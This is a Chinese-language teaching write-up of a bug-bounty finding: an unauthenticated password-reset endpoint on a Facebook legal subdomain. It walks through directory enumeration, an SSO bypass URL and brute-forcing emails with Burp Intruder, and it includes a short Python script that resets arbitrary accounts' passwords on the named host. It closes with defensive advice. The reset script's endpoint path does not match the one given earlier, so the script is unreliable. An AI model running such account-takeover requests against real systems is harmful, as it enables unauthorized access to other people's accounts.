我是如何入侵Facebook: 第一部分
字数 1344 2025-08-18 11:36:36
Facebook子域密码重置漏洞分析与利用教学
漏洞背景
本教学文档基于安全研究员Alaa在2020年发现的Facebook子域(legal.tapprd.thefacebook.com)密码重置漏洞。该漏洞允许攻击者未经授权重置任意用户密码,最终获得管理员权限。Facebook为此漏洞支付了7500美元的赏金。
漏洞发现过程
目标选择
- 目标子域:
https://legal.tapprd.thefacebook.com - 选择依据: 受到之前"HTML to PDF converter bug leads to RCE in Facebook server"报告的启发
- 目标类型: 寻找远程代码执行(RCE)或类似高危漏洞
信息收集
-
目录枚举:
- 使用fuzzing工具扫描子域目录结构
- 发现多个返回403状态的目录,表明存在大量功能端点:
/tapprd/ /tapprd/content/ /tapprd/services/ /tapprd/Content/ /tapprd/api/ /tapprd/Services/ /tapprd/temp/ /tapprd/logs/ ...
-
JavaScript分析:
- 仔细阅读网站JS文件以理解工作流程
- 发现绕过SSO重定向的方法:
https://legal.tapprd.thefacebook.com/tapprd/portal/authentication/login
关键漏洞点
-
密码重置端点:
- 发现两个关键端点:
/tapprd/auth/identity/user/forgotpassword/savepassword(POST请求)
- 发现两个关键端点:
-
漏洞本质:
- 密码重置API对任何人开放,无身份验证
- 相当于未授权访问端点
漏洞利用步骤
手动测试
-
尝试直接修改POST请求参数:
- 包含CSRF令牌和新密码
- 初始测试返回"执行此操作失败"错误
-
猜测需要有效邮箱地址:
- 开始收集可能的邮箱列表
- 使用Burp Intruder进行批量测试
自动化测试
-
使用Burp Intruder:
- 发送带有CSRF令牌和随机邮箱+新密码的请求到
/savepassword - 观察响应:
- 大多数返回错误
- 部分返回302重定向到登录页面(成功标志)
- 发送带有CSRF令牌和随机邮箱+新密码的请求到
-
验证成功:
- 使用测试邮箱和新密码尝试登录
- 成功进入管理面板
影响扩大
- Facebook员工使用工作账号登录该系统
- 攻击者可获取Facebook工作账户访问令牌
- 可能导致更广泛的Facebook内部系统访问
漏洞利用脚本
# 简单密码重置利用脚本示例
import requests
def exploit_password_reset(email, new_password):
# 获取CSRF令牌(需根据实际目标调整)
csrf_token = get_csrf_token()
# 构造请求
headers = {
'User-Agent': 'Mozilla/5.0',
'X-CSRF-Token': csrf_token
}
data = {
'email': email,
'new_password': new_password,
'confirm_password': new_password
}
# 发送请求
response = requests.post(
'https://legal.tapprd.thefacebook.com/savepassword',
headers=headers,
data=data
)
# 检查响应
if response.status_code == 302:
print(f"[+] 密码重置成功! 现在可以使用 {email}/{new_password} 登录")
else:
print("[-] 密码重置失败")
def get_csrf_token():
# 实现获取CSRF令牌的逻辑
pass
防御建议
对开发者的建议
-
身份验证:
- 所有敏感操作(如密码重置)必须进行身份验证
- 实现多因素认证机制
-
令牌验证:
- 密码重置令牌应:
- 一次性使用
- 有时效限制
- 与特定用户会话绑定
- 密码重置令牌应:
-
速率限制:
- 对密码重置请求实施速率限制
- 防止暴力破解尝试
-
日志记录:
- 记录所有密码重置尝试
- 监控异常活动
对安全测试人员的建议
-
API测试:
- 重点关注未授权访问端点
- 测试所有API的身份验证要求
-
密码重置流程测试:
- 验证令牌是否可预测或重复使用
- 检查是否可绕过身份验证
-
信息收集:
- 彻底分析JS文件
- 完整枚举应用程序端点
总结
本案例展示了即使在大公司如Facebook的子系统中,也可能存在简单的认证绕过漏洞。关键在于:
- 全面的信息收集
- 仔细分析应用程序逻辑
- 对看似小的漏洞点进行深入测试
- 理解漏洞的潜在影响范围
这种类型的漏洞虽然技术复杂度不高,但由于其潜在的高影响(特别是涉及员工账户时),通常能获得较高的漏洞赏金。